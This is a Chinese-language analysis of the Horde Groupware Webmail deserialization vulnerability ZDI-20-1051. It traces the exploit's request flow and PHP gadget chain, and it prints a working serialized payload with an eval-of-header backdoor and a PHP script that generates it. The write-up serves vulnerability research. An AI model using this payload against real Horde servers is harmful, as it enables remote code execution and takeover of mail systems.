Horde Groupware Webmail 反序列化漏洞分析

简介

Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。

漏洞详情

编号 ZDI-20-1051 ZDI-CAN-10436

此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。

具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。

EXP

https://srcincite.io/pocs/zdi-20-1051.py.txt

环境搭建

参考: https://3gstudent.github.io/Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

漏洞分析

从网传的EXP开始入手分析

第一步先通过登录获取session, 图中选中部分

image-20250220160530993

第二步,请求路径services/ajax.php/imp/setPrefValue

image-20250220160740930

这里对该路径发起请求了两次,第一次没有token,请求后会返回:

/*-secure-{"msgs":[{"message":"\/login.php?url=%2Fimp%2F&horde_logout_token=_4_uPKN0JXhJs67E2Cz0chQ&logout_reason=6","type":"horde.ajaxtimeout"}],"response":false}*/

第二次请求会将horde_logout_token的值作为token

到这里可以发现,get请求参数value是恶意序列化内容,pref还不知道是什么东西,还有路径ajax.php后面接的/imp/setPrefValue是什么东西

services/ajax.php是可以不需要认证就可以访问的,exp却进行了认证,带着这些疑问,调试代码,慢慢分析

首先来到services/ajax.php

开头就已经告诉我们/imp/setPrefValue是什么东西,通过url分割出来分别给参数$app、$action赋值

image-20250220161749025

往下

image-20250220162232466

这个是用来获取请求参数的,看Horde_Variables这个类的构造函数就知道

image-20250220162147620

获取请求参数后var如下:
image-20250220162356882

继续往下

image-20250220162502440

这个是对类Horde_Core_Factory_Ajax进行实例化,并且调用他的create方法

跟进查看

image-20250220162711803

这里new了一个类,类是由$app控制的,说明可控制,还有其他 _Ajax_Application类可探索

看看IMP_Ajax_Application的构造方法,发现没有__construct,只有__init(),不过它的父类Horde_Core_Ajax_Application有,并且调用了__init()

在IMP_Ajax_Application的__init()中存在以下操作,这个后面有用

$this->addHandler('IMP_Ajax_Application_Handler_ImageUnblock');
$this->addHandler('Horde_Core_Ajax_Application_Handler_Imple');
$this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');

回到父类Horde_Core_Ajax_Application的构造函数,在这里进行了认证检查和token校验

image-20250220163538128

往下回到services/ajax.php

这里会调用一个doAction方法,其中$ajax就是上面new的一个IMP_Ajax_Application对象

image-20250220163740401

跟进doAction,来到了IMP_Ajax_Application的父类Horde_Core_Ajax_Application的doAction方法

这里存在一个call_user_func调用$ob类的$this->_action方法

image-20250220164119427

其中$this->_action是来自构造函数传参来到,也就是前面的$action : setPrefValue

而$ob来自_getHandler()

protected function _getHandler()
    {
        foreach ($this->_handlers as $ob) {
            if ($ob->has($this->_action)) {
                return $ob;
            }
        }

        return null;
    }

其实就是查看哪个Handler存在setPrefValue方法就返回哪个Handler类,这个类其实就是前面addHandler的那些

所以这里的Handler为Horde_Core_Ajax_Application_Handler_Prefs,然后setPrefValue方法如下

public function setPrefValue()
    {
        return $GLOBALS['prefs']->setValue(
            $this->vars->pref,
            $this->vars->value
        );
    }

就是给全局变量prefs赋值$this->vars->pref和$this->vars->value分别是get传参pref=value= ,将sortpref的值赋值为恶意的序列化数据

这个请求的作用就到这里了

第三步,请求路径services/ajax.php/imp/imple

这里也是需要先获取token,再请求一次

image-20250220165936670

由上面第二步的分析可知,这次的action变为了imple了 ,其中cmd为base64加密后的php代码,这些代码是需要执行的代码,由于该漏洞没有回显,这里使用了 反弹shell的方式

因为这次的action变为了imple了,所有在services/ajax.php的$ajax->doAction();这一步里面调用了Horde_Core_Ajax_Application_Handler_Imple的imple方法

image-20250220170830126

在这里会调用Horde_Core_Factory_Imple的create方法,其中$this->vars->imple = IMP_Prefs_Sort

跟进create方法

image-20250220171013515

这里会new一个类,这个类是由$driver决定的,就是get传参imple=IMP_Prefs_Sort

跟进_getDriverName看看

image-20250220171444914

可以看到如果$driver这个类存在的话就直接返回了这个类,也就是IMP_Prefs_Sort

所有获取的对象是IMP_Prefs_Sort对象,看看这个类的构造函数

public function __construct()
    {
        global $prefs;

        $sortpref = @unserialize($prefs->getValue(self::SORTPREF));
        if (is_array($sortpref)) {
            $this->_sortpref = $sortpref;
        }
    }

这里可以看到反序列化全局变量prefs['sortpref']的值,也就是第二部传入的恶意序列化数据

至此,反序列化漏洞触发

image-20250220171938470

第四步:漏洞利用完成后,还原prefs[‘sortpref’]原本的值,不影响系统正常运行

def get_patch():
    """ Our original array """
    patch  = 'a:1:{'
    patch += 's:5:"INBOX";a:1:{'
    patch += 's:1:"b";i:6;'
    patch += '}}'
    return patch

序列化链分析

下面是exp中给出的序列化链,格式化后如下:

O:34:"Horde_Kolab_Server_Decorator_Clean":2:{
    S:43:"\00Horde_Kolab_Server_Decorator_Clean\00_server";
    O:20:"Horde_Prefs_Identity":3:{
        S:9:"\00*\00_prefs";
        O:11:"Horde_Prefs":2:{
            S:8:"\00*\00_opts";
            a:1:{
                s:12:"sizecallback";
                a:2:{
                    i:0;
                    O:12:"Horde_Config":1:{
                        S:13:"\00*\00_oldConfig";
                        s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";
                    }
                    i:1;
                    s:13:"readXMLConfig";
                }
            }
            S:10:"\00*\00_scopes";
            a:1:{
                s:5:"horde";
                C:17:"Horde_Prefs_Scope":10:{
                    [null, [1]]
                }
            }
        }
        S:13:"\00*\00_prefnames";
        a:1:{
            s:10:"identities";
            i:0;
        }
        S:14:"\00*\00_identities";
        a:1:{
            i:0;
            i:0;
        }
    }
    S:42:"\00Horde_Kolab_Server_Decorator_Clean\00_added";
    a:1:{
        i:0;
        i:0;
    }
}

由该序列化链可知,链子是从类Horde_Kolab_Server_Decorator_Clean开始的,并且需要设置属性_server为Horde_Prefs_Identity对象,设置_added为一个非空数组

那么就看它的__destruct或者__wakeup,这个类只有__destruct

public function __destruct()
{
    try {
        $this->cleanup();
    } catch (Horde_Kolab_Server_Exception $e) {
    }
}

这里只能进入cleanup()了

public function cleanup()
{
    foreach ($this->_added as $guid) {
        $this->delete($guid);
    }
}

这里还没有用到_server,需要进入delete()

public function delete($guid)
{
    $this->_server->delete($guid);
    if (in_array($guid, $this->_added)) {
        $this->_added = array_diff($this->_added, array($guid));
    }
}

到这里 $this->_server设置了为Horde_Prefs_Identity对象,所有下一步跳转到了Horde_Prefs_Identity的delete方法

public function delete($identity)
{
    $deleted = array_splice($this->_identities, $identity, 1);

    if (!empty($deleted)) {
        foreach (array_keys($this->_identities) as $id) {
            if ($this->setDefault($id)) {
                break;
            }
        }
        $this->save();
    }

    return reset($deleted);
}

这个对象设置属性_identities_prefs_prefnames的值,其中_prefsHorde_Prefs对象,所有分析进入下个对象不在这里,跟进save()方法

public function save()
{
    $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));
    $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
}

在save()方法就可以跳转到Horde_Prefs的setValue方法了

public function setValue($pref, $val, array $opts = array())
{
    /* Exit early if preference doesn't exist or is locked. */
    if (!($scope = $this->_getScope($pref)) ||
        (empty($opts['force']) &&
         $this->_scopes[$scope]->isLocked($pref))) {
        return false;
    }

    // Check to see if the value exceeds the allowable storage limit.
    if ($this->_opts['sizecallback'] &&
        call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {
        return false;
    }

    ...
        return true;
}

在Horde_Prefs对象中,对下面两个属性进行控制

$this->_opts['sizecallback'] = array(new Horde_Config(), 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;

所以在setValue中通过call_user_func调用了Horde_Config类的readXMLConfig方法

public function readXMLConfig($custom_conf = null)
{
    if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
        return $this->_xmlConfigTree;
    }

    $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';

    if ($custom_conf) {
        $this->_currentConfig = $custom_conf;
    } else {
        /* Fetch the current conf.php contents. */
        @eval($this->getPHPConfig());
        if (isset($conf)) {
            $this->_currentConfig = $conf;
        }
    }
    
    ...
}

这里发现@eval(),跟进getPHPConfig查看

public function getPHPConfig()
{
    if (!is_null($this->_oldConfig)) {
        return $this->_oldConfig;
    }
....

    return $this->_oldConfig;
}

$this->_oldConfig可控,只有将$this->_oldConfig设置为需要执行的恶意代码即可

整个链大概就这样了,具体细节就不分析了

最终生成序列化字符串的poc如下

<?php
class Horde_Kolab_Server_Decorator_Clean
{
    private $_server, $_added;
    function __construct()
    {
        $this->_added = array(0);
        $this->_server = new Horde_Prefs_Identity();
    }

}
class Horde_Prefs_Identity
{
    protected $_prefs, $_prefnames, $_identities;
    function __construct()
    {
        $this->_identities = array(0);
        $this->_prefs = new Horde_Prefs();
        $this->_prefnames['identities'] = 0;
    }
}
class Horde_Prefs
{
    protected $_opts, $_scopes;
    function __construct()
    {
        $this->_opts['sizecallback'] = array(new Horde_Config(), 'readXMLConfig');
        $this->_scopes['horde'] = new Horde_Prefs_Scope;
    }
}
class Horde_Config
{
    protected $_oldConfig;
    function __construct()
    {
        $this->_oldConfig = "phpinfo();";#需要执行的代码
    }
}
class Horde_Prefs_Scope implements Serializable
{
    protected $_prefs = array(1);
    protected $scope;
    public function serialize()
    {
        return json_encode(array(
            $this->scope,
            $this->_prefs
        ));
    }

    public function unserialize($data)
    {
        list($this->scope, $this->_prefs) = json_decode($data, true);
    }
}
$object = new Horde_Kolab_Server_Decorator_Clean();
echo urlencode(serialize($object));

参考

https://srcincite.io/pocs/zdi-20-1051.py.txt

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Horde/RCE/1/gadgets.php

https://3gstudent.github.io/Horde-Groupware-Webmail%E6%BC%8F%E6%B4%9E%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/%E3%80%900day%20RCE%E3%80%91Horde%20Groupware%20Webmail%20Edition%20RCE.md